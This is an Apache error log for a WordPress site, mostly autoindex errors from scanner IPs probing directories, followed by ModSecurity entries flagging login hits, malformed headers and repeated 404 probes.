[Tue Apr 21 02:24:28.686324 2026] [autoindex:error] [pid 42014:tid 42022] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:30.795521 2026] [autoindex:error] [pid 42014:tid 42031] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:34.610827 2026] [autoindex:error] [pid 42014:tid 42025] [client 185.92.25.21:25837] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:38.504805 2026] [autoindex:error] [pid 42014:tid 42016] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:38.777346 2026] [autoindex:error] [pid 42014:tid 42023] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:39.066745 2026] [autoindex:error] [pid 42014:tid 42026] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:39.343216 2026] [autoindex:error] [pid 42014:tid 42024] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:39.615826 2026] [autoindex:error] [pid 42014:tid 42039] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:51.132466 2026] [autoindex:error] [pid 11441:tid 11463] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:51.422145 2026] [autoindex:error] [pid 11441:tid 11460] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:51.707264 2026] [autoindex:error] [pid 11441:tid 11456] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:52.013403 2026] [autoindex:error] [pid 11441:tid 11454] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:52.301449 2026] [autoindex:error] [pid 11441:tid 11452] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:02.348863 2026] [autoindex:error] [pid 11441:tid 11459] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:02.801082 2026] [autoindex:error] [pid 11441:tid 11467] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:03.154706 2026] [autoindex:error] [pid 11441:tid 11446] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:03.508372 2026] [autoindex:error] [pid 11441:tid 11445] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:03.797536 2026] [autoindex:error] [pid 11441:tid 11463] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:11.347916 2026] [autoindex:error] [pid 11441:tid 11445] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:16.943816 2026] [autoindex:error] [pid 11441:tid 11461] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:17.228473 2026] [autoindex:error] [pid 11441:tid 11453] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:19.310625 2026] [autoindex:error] [pid 11441:tid 11459] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:29.020205 2026] [autoindex:error] [pid 11441:tid 11459] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:29.646950 2026] [autoindex:error] [pid 11441:tid 11446] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:29.939022 2026] [autoindex:error] [pid 11441:tid 11445] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:37.525344 2026] [autoindex:error] [pid 11441:tid 11455] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:25:43.089046 2026] [autoindex:error] [pid 11441:tid 11466] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:01.577947 2026] [autoindex:error] [pid 11441:tid 11456] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:05.507478 2026] [autoindex:error] [pid 11441:tid 11461] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:05.795784 2026] [autoindex:error] [pid 11441:tid 11467] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:09.756427 2026] [autoindex:error] [pid 11441:tid 11448] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:11.816751 2026] [autoindex:error] [pid 11441:tid 11446] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:36.930174 2026] [autoindex:error] [pid 11441:tid 11445] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:41.003041 2026] [autoindex:error] [pid 11441:tid 11464] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:44.944485 2026] [autoindex:error] [pid 11441:tid 11456] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:48.865162 2026] [autoindex:error] [pid 11441:tid 11466] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:53.074650 2026] [autoindex:error] [pid 11441:tid 11464] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:53.515076 2026] [autoindex:error] [pid 11441:tid 11446] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:55.713583 2026] [autoindex:error] [pid 11441:tid 11444] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:56.016193 2026] [autoindex:error] [pid 11441:tid 11448] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:26:56.346837 2026] [autoindex:error] [pid 11441:tid 11455] [client 185.92.25.122:47009] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:27:02.507733 2026] [autoindex:error] [pid 6928:tid 6943] [client 91.230.225.86:60287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:27:06.527605 2026] [autoindex:error] [pid 6928:tid 6953] [client 91.230.225.86:60287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:27:19.842664 2026] [autoindex:error] [pid 6928:tid 6938] [client 91.230.225.86:60287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:27:20.117537 2026] [autoindex:error] [pid 6928:tid 6936] [client 91.230.225.86:60287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:27:20.684936 2026] [autoindex:error] [pid 6928:tid 6932] [client 91.230.225.86:60287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:27:22.730650 2026] [autoindex:error] [pid 6928:tid 6943] [client 91.230.225.86:60287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:27:35.699299 2026] [autoindex:error] [pid 6928:tid 6930] [client 91.230.225.86:60287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:27:45.445461 2026] [autoindex:error] [pid 6928:tid 6951] [client 91.230.225.86:60287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 04:00:23.901647 2026] [:error] [pid 35321:tid 35396] [client 185.194.178.6:45559] [client 185.194.178.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeaF1zeHLhVUuu8cVXw4xgAAAEw"]
[Tue Apr 21 05:35:24.801053 2026] [:error] [pid 35322:tid 35370] [client 180.110.203.108:59929] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeacHKPoAfV40BTfVKx2vQAAAI0"]
[Tue Apr 21 06:09:15.164395 2026] [:error] [pid 4823:tid 4854] [client 43.135.145.73:56906] [client 43.135.145.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeakC_c8mke3PfHqsxGSTAAAAYE"]
[Tue Apr 21 09:37:50.643995 2026] [:error] [pid 4822:tid 4829] [client 147.135.252.148:47180] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aebU7iAteFQFwS_23JnSGQAAAUM"]
[Tue Apr 21 09:37:53.072316 2026] [:error] [pid 4822:tid 4837] [client 147.135.252.148:52790] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aebU8SAteFQFwS_23JnSHAAAAUs"]
[Tue Apr 21 09:37:55.712919 2026] [:error] [pid 5377:tid 5390] [client 147.135.252.148:52794] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aebU87BKychFlrHBdvta0AAAAcQ"]
[Tue Apr 21 09:37:58.282454 2026] [:error] [pid 35321:tid 35388] [client 147.135.252.148:50764] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aebU9jeHLhVUuu8cVXxh0AAAAEQ"]
